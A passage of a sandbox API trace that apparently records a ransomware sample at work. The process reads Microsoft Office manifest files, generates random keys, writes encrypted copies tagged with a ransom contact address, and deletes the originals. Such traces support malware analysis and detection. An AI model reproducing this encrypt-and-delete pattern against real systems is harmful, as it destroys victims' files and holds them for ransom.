GetCurrentThreadId () returned 0x9b0 [0133.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0133.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0133.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0133.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8f0 [0133.596] GetCurrentThreadId () returned 0x9b0 [0133.596] GetCurrentThreadId () returned 0x9b0 [0133.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaad0 [0133.596] GetCurrentThreadId () returned 0x9b0 [0133.596] GetCurrentThreadId () returned 0x9b0 [0133.596] GetCurrentThreadId () returned 0x9b0 [0133.597] GetCurrentThreadId () returned 0x9b0 [0133.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0133.597] GetCurrentThreadId () returned 0x9b0 [0133.597] GetCurrentThreadId () returned 0x9b0 [0133.597] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd)) returned 1 [0133.597] GetCurrentThreadId () returned 0x9b0 [0133.597] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bb4c | out: pbBuffer=0x366bb4c) returned 1 [0133.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0133.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0133.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0133.598] GetCurrentThreadId () returned 0x9b0 [0133.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa30 [0133.598] GetCurrentThreadId () returned 0x9b0 [0133.598] GetCurrentThreadId () returned 0x9b0 [0133.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab70 [0133.598] GetCurrentThreadId () returned 0x9b0 [0133.598] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.599] GetFileType (hFile=0x39c) returned 0x1 [0133.599] GetCurrentThreadId () returned 0x9b0 [0133.599] GetFileType (hFile=0x39c) returned 0x1 [0133.599] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.599] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.599] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.599] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.599] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.599] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.599] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.600] GetLastError () returned 0x0 [0133.600] GetCurrentThreadId () returned 0x9b0 [0133.600] GetLastError () returned 0x0 [0133.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0133.600] GetLastError () returned 0x0 [0133.600] GetLastError () returned 0x0 [0133.600] GetLastError () returned 0x0 [0133.600] GetLastError () returned 0x0 [0133.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0133.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de578 [0133.600] GetLastError () returned 0x0 [0133.601] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.601] GetFileType (hFile=0x3ac) returned 0x1 [0133.601] GetLastError () returned 0x0 [0133.601] GetCurrentThreadId () returned 0x9b0 [0133.601] GetLastError () returned 0x0 [0133.601] GetFileType (hFile=0x3ac) returned 0x1 [0133.601] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.602] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.602] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.602] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.602] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.602] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.602] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.602] GetLastError () returned 0x0 [0133.602] GetCurrentThreadId () returned 0x9b0 [0133.602] GetLastError () returned 0x0 [0133.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0133.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf748 | out: hHeap=0x2ad0000) returned 1 [0133.602] GetCurrentThreadId () returned 0x9b0 [0133.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0133.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.603] GetLastError () returned 0x0 [0133.603] GetLastError () returned 0x0 [0133.603] GetCurrentThreadId () returned 0x9b0 [0133.603] GetLastError () returned 0x0 [0133.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.603] GetLastError () returned 0x0 [0133.603] GetLastError () returned 0x0 [0133.603] GetCurrentThreadId () returned 0x9b0 [0133.603] GetLastError () returned 0x0 [0133.604] GetLastError () returned 0x0 [0133.605] GetLastError () returned 0x0 [0133.605] GetCurrentThreadId () returned 0x9b0 [0133.605] GetLastError () returned 0x0 [0133.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x618) returned 0x35c5908 [0133.605] GetLastError () returned 0x0 [0133.606] GetLastError () returned 0x0 [0133.606] GetLastError () returned 0x0 [0133.606] GetLastError () returned 0x0 [0133.606] GetCurrentThreadId () returned 0x9b0 [0133.606] GetLastError () returned 0x0 [0133.606] GetCurrentThreadId () returned 0x9b0 [0133.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x615) returned 0x35c49f8 [0133.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0133.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.606] GetLastError () returned 0x0 [0133.606] GetLastError () returned 0x0 [0133.607] GetCurrentThreadId () returned 0x9b0 [0133.607] GetLastError () returned 0x0 [0133.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c49f8 | out: hHeap=0x2ad0000) returned 1 [0133.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8b68 [0133.607] GetLastError () returned 0x0 [0133.607] GetLastError () returned 0x0 [0133.607] GetCurrentThreadId () returned 0x9b0 [0133.607] GetLastError () returned 0x0 [0133.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8b68 | out: hHeap=0x2ad0000) returned 1 [0133.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.607] GetLastError () returned 0x0 [0133.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.608] CloseHandle (hObject=0x3ac) returned 1 [0133.609] GetLastError () returned 0x0 [0133.609] GetCurrentThreadId () returned 0x9b0 [0133.609] GetLastError () returned 0x0 [0133.609] GetLastError () returned 0x0 [0133.609] CloseHandle (hObject=0x39c) returned 1 [0133.609] GetLastError () returned 0x0 [0133.609] GetCurrentThreadId () returned 0x9b0 [0133.609] GetLastError () returned 0x0 [0133.610] GetLastError () returned 0x0 [0133.610] GetLastError () returned 0x0 [0133.610] GetLastError () returned 0x0 [0133.610] GetLastError () returned 0x0 [0133.610] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0133.611] GetLastError () returned 0x0 [0133.611] GetCurrentThreadId () returned 0x9b0 [0133.611] GetLastError () returned 0x0 [0133.611] GetLastError () returned 0x0 [0133.611] GetLastError () returned 0x0 [0133.611] GetLastError () returned 0x0 [0133.612] GetLastError () returned 0x0 [0133.612] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 0x68 [0133.612] GetCurrentThreadId () returned 0x9b0 [0133.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0133.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0133.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0133.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0133.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea878 [0133.612] GetCurrentThreadId () returned 0x9b0 [0133.612] GetLastError () returned 0x0 [0133.612] GetLastError () returned 0x0 [0133.613] GetLastError () returned 0x0 [0133.613] GetLastError () returned 0x0 [0133.613] GetCurrentThreadId () returned 0x9b0 [0133.613] GetLastError () returned 0x0 [0133.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea878 | out: hHeap=0x2ad0000) returned 1 [0133.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac60 [0133.613] GetLastError () returned 0x0 [0133.613] GetLastError () returned 0x0 [0133.613] GetLastError () returned 0x0 [0133.613] GetLastError () returned 0x0 [0133.614] GetCurrentThreadId () returned 0x9b0 [0133.614] GetLastError () returned 0x0 [0133.614] GetLastError () returned 0x0 [0133.614] GetLastError () returned 0x0 [0133.614] GetLastError () returned 0x0 [0133.614] GetLastError () returned 0x0 [0133.614] GetCurrentThreadId () returned 0x9b0 [0133.614] GetLastError () returned 0x0 [0133.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac60 | out: hHeap=0x2ad0000) returned 1 [0133.615] GetCurrentThreadId () returned 0x9b0 [0133.615] GetLastError () returned 0x0 [0133.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0133.615] GetLastError () returned 0x0 [0133.615] GetLastError () returned 0x0 [0133.615] GetLastError () returned 0x0 [0133.615] GetCurrentThreadId () returned 0x9b0 [0133.615] GetLastError () returned 0x0 [0133.615] GetLastError () returned 0x0 [0133.615] GetLastError () returned 0x0 [0133.615] GetLastError () returned 0x0 [0133.616] GetLastError () returned 0x0 [0133.616] GetCurrentThreadId () returned 0x9b0 [0133.616] GetLastError () returned 0x0 [0133.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a5a8 | out: hHeap=0x2ad0000) returned 1 [0133.616] GetLastError () returned 0x0 [0133.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0133.616] GetLastError () returned 0x0 [0133.616] GetLastError () returned 0x0 [0133.616] GetLastError () returned 0x0 [0133.616] GetCurrentThreadId () returned 0x9b0 [0133.616] GetLastError () returned 0x0 [0133.617] GetLastError () returned 0x0 [0133.617] GetLastError () returned 0x0 [0133.617] GetLastError () returned 0x0 [0133.617] GetLastError () returned 0x0 [0133.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0133.617] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863)) returned 1 [0133.617] GetLastError () returned 0x0 [0133.617] GetCurrentThreadId () returned 0x9b0 [0133.617] GetLastError () returned 0x0 [0133.618] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0133.618] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b944 | out: pbBuffer=0x366b944) returned 1 [0133.618] GetCurrentThreadId () returned 0x9b0 [0133.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0133.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0133.618] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0133.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0133.618] GetLastError () returned 0x0 [0133.618] GetLastError () returned 0x0 [0133.618] GetLastError () returned 0x0 [0133.618] GetLastError () returned 0x0 [0133.619] GetCurrentThreadId () returned 0x9b0 [0133.619] GetLastError () returned 0x0 [0133.619] GetCurrentThreadId () returned 0x9b0 [0133.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0133.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8c8 [0133.619] GetLastError () returned 0x0 [0133.619] GetLastError () returned 0x0 [0133.619] GetLastError () returned 0x0 [0133.619] GetLastError () returned 0x0 [0133.619] GetCurrentThreadId () returned 0x9b0 [0133.619] GetLastError () returned 0x0 [0133.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8c8 | out: hHeap=0x2ad0000) returned 1 [0133.620] GetCurrentThreadId () returned 0x9b0 [0133.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de648 [0133.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0133.620] GetLastError () returned 0x0 [0133.620] GetLastError () returned 0x0 [0133.620] GetLastError () returned 0x0 [0133.620] GetLastError () returned 0x0 [0133.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de568 [0133.620] GetLastError () returned 0x0 [0133.620] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.621] GetFileType (hFile=0x39c) returned 0x1 [0133.621] GetLastError () returned 0x0 [0133.621] GetCurrentThreadId () returned 0x9b0 [0133.621] GetLastError () returned 0x0 [0133.621] GetFileType (hFile=0x39c) returned 0x1 [0133.621] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.621] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.621] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.621] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.622] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.622] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.622] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.622] GetLastError () returned 0x0 [0133.622] GetCurrentThreadId () returned 0x9b0 [0133.622] GetLastError () returned 0x0 [0133.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0133.622] GetLastError () returned 0x0 [0133.622] GetLastError () returned 0x0 [0133.622] GetLastError () returned 0x0 [0133.622] GetLastError () returned 0x0 [0133.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de568 [0133.623] GetLastError () returned 0x0 [0133.623] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.623] GetFileType (hFile=0x3ac) returned 0x1 [0133.623] GetLastError () returned 0x0 [0133.623] GetCurrentThreadId () returned 0x9b0 [0133.623] GetLastError () returned 0x0 [0133.623] GetFileType (hFile=0x3ac) returned 0x1 [0133.624] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.624] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.624] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.624] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.624] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.624] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.624] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.624] GetLastError () returned 0x0 [0133.624] GetCurrentThreadId () returned 0x9b0 [0133.624] GetLastError () returned 0x0 [0133.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf478 | out: hHeap=0x2ad0000) returned 1 [0133.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.625] GetLastError () returned 0x0 [0133.625] GetLastError () returned 0x0 [0133.625] GetCurrentThreadId () returned 0x9b0 [0133.625] GetLastError () returned 0x0 [0133.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0133.625] GetLastError () returned 0x0 [0133.625] GetLastError () returned 0x0 [0133.625] GetCurrentThreadId () returned 0x9b0 [0133.625] GetLastError () returned 0x0 [0133.626] GetLastError () returned 0x0 [0133.627] GetLastError () returned 0x0 [0133.628] GetCurrentThreadId () returned 0x9b0 [0133.628] GetLastError () returned 0x0 [0133.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.628] GetCurrentThreadId () returned 0x9b0 [0133.628] GetLastError () returned 0x0 [0133.629] GetLastError () returned 0x0 [0133.629] GetLastError () returned 0x0 [0133.629] GetLastError () returned 0x0 [0133.629] GetCurrentThreadId () returned 0x9b0 [0133.629] GetLastError () returned 0x0 [0133.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0133.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0133.630] GetLastError () returned 0x0 [0133.631] GetLastError () returned 0x0 [0133.631] GetCurrentThreadId () returned 0x9b0 [0133.631] GetLastError () returned 0x0 [0133.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.632] GetLastError () returned 0x0 [0133.632] GetLastError () returned 0x0 [0133.633] GetCurrentThreadId () returned 0x9b0 [0133.633] GetLastError () returned 0x0 [0133.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0133.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.633] GetCurrentThreadId () returned 0x9b0 [0133.633] GetLastError () returned 0x0 [0133.634] GetLastError () returned 0x0 [0133.634] GetLastError () returned 0x0 [0133.634] GetLastError () returned 0x0 [0133.634] GetCurrentThreadId () returned 0x9b0 [0133.634] GetLastError () returned 0x0 [0133.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.634] GetLastError () returned 0x0 [0133.635] GetLastError () returned 0x0 [0133.635] GetCurrentThreadId () returned 0x9b0 [0133.636] GetLastError () returned 0x0 [0133.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.636] GetLastError () returned 0x0 [0133.636] GetLastError () returned 0x0 [0133.636] GetCurrentThreadId () returned 0x9b0 [0133.636] GetLastError () returned 0x0 [0133.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0133.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.638] GetLastError () returned 0x0 [0133.638] GetLastError () returned 0x0 [0133.638] GetLastError () returned 0x0 [0133.639] GetLastError () returned 0x0 [0133.639] GetCurrentThreadId () returned 0x9b0 [0133.639] GetLastError () returned 0x0 [0133.639] GetCurrentThreadId () returned 0x9b0 [0133.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37a40f0 [0133.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0133.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0133.639] GetLastError () returned 0x0 [0133.640] GetLastError () returned 0x0 [0133.640] GetCurrentThreadId () returned 0x9b0 [0133.640] GetLastError 